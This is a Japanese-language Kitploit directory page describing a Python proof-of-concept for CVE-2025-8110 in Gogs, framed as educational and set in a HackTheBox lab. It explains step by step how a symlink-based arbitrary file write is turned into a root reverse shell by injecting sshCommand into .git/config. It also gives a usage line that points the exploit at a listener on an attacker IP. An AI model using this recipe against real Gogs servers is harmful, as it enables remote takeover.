Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-8110 — CVE-2025-8110のPython概念実証。GogsのシンボリックリンクとAPIを介した任意ファイル書き込みからRCEに至ることを示し、教育用ラボでの使用を目的としています。 | Kitploit
ツール/GitHubGitHub/xdezen/cve-2025-8110
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発ラボと実践
GitHubxdezen/cve-2025-8110

CVE-2025-8110

CVE-2025-8110のPython概念実証。GogsのシンボリックリンクとAPIを介した任意ファイル書き込みからRCEに至ることを示し、教育用ラボでの使用を目的としています。

リポジトリを見る
32ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Gogs 任意ファイル書き込みによるRCE (CVE-2025-8110) - 教育目的のエクスプロイト

このリポジトリには、セルフホスト型GitサービスGogs(バージョン0.13.3以前)に登録されているCVE-2025-8110の脆弱性を実証・分析するためのPython製の概念実証(PoC)スクリプトが含まれています。


⚠️ 免責事項(Disclaimer)

[!WARNING] 本ソフトウェアは、教育およびセキュリティ研究の目的でのみ提供されます。 > 対象の所有者の事前の書面による同意なしに本資料を使用することは完全に違法です。このリポジトリの著者は、このコードの使用に起因するいかなる損害、不利益、誤用についても責任を負いません。常に自己責任で、管理された環境または許可されたシミュレーション(CTFラボなど)内でのみ使用してください。


CVE-2025-8110とは?

CVE-2025-8110 は、Gogs の PutContents API を介してシンボリックリンク(symlinks)を処理する際の検証不足によって引き起こされる、重大な任意ファイル書き込みの脆弱性です。

影響のメカニズム

認証された攻撃者は次のことができます:

  1. リポジトリフォルダの外にある機密ファイル(例えば、サーバー自身の .git/config 設定ファイル)を指すシンボリックリンクを含むローカルGitリポジトリを作成する。
  2. このリポジトリをGogsサーバーにプッシュ(push)する。
  3. GogsのAPIを使用してシンボリックリンクのファイルを変更する。APIは宛先がショートカットかどうかを検証しないため、基盤となるオペレーティングシステムがリンクを辿り、Gogsが実行されている権限でシステムファイルを上書きする。
  4. Gogsサービスが root として実行されている場合、Git設定ファイルの sshCommand プロパティに任意のコマンドを注入することで、ファイル書き込みをリモートコード実行(RCE) に昇格させることができる。

コードの説明(exploit.py)

このスクリプトは、GogsのWebインターフェースで事前に手動生成された有効な認証情報とAPIトークンを使用して、エクスプロイトプロセス全体を自動化します:

          ┌──────────────────────────────────────────────┐
          │          Máquina del Atacante (Kali)         │
          └──────────────────────┬───────────────────────┘
                                 │
         (1) Crea Repositorio    │ (3) Sube Symlink (.git/config)
         Malicioso vía API       │     vía git push
                                 ▼
          ┌──────────────────────────────────────────────┐
          │      Túnel SSH Local (puerto 8080)           │
          └──────────────────────┬───────────────────────┘
                                 │
                                 ▼
          ┌──────────────────────────────────────────────┐
          │           Servidor Víctima Gogs              │
          │              (Puerto 3001)                   │
          └──────────────────────┬───────────────────────┘
                                 │
                                 │ (4) API PUT "contents"
                                 │     Sigue Symlink y escribe
                                 │     "sshCommand" en .git/config
                                 ▼
          ┌──────────────────────────────────────────────┐
          │     Ejecución del Payload como ROOT          │
          └──────────────────────────────────────────────┘

スクリプトの主要コンポーネント:

  1. create_malicious_repo: 提供されたアクセストークンで認証し、Gogs API(/api/v1/user/repos)にPOSTリクエストを送信して、動的に生成されたランダムな名前で新しいリポジトリを作成します。
  2. upload_malicious_symlink:
    • 作成したリポジトリをローカルの一時フォルダ /tmp/ にクローンします。
    • 攻撃者マシンのローカルに、.git/config(サーバーのGit設定ファイル)を指すシンボリックリンクを作成します。
    • commit を作成し、システムコマンド(git push)を使用して変更をサーバーに送り返します。
  3. exploit: Gitの sshCommand プロパティへのインジェクションのトリックを使用してペイロードを定義します。APIを介してコンテンツを更新すると、Gogsはサーバー上で自身の .git/config を上書きせざるを得なくなります。Gitプロセスの最終段階が作動すると、Gogsシステムはターミナルコマンド(Bashによるリバースシェル)を実行し、Netcatリスナーへの接続を返します。

ラボ環境での使用ガイド(HTB - Silentium)

前提条件

スクリプトを実行する前に、自動コミット時のエラーを防ぐため、GitのグローバルID情報を設定してください:

git config --global user.email "[email protected]"
git config --global user.name "estudiante"

使用法:python3 exploit.py -u (http://127.0.0.1:8080) -lh <TU_IP_VPN> -lp 4446

ツールをダウンロード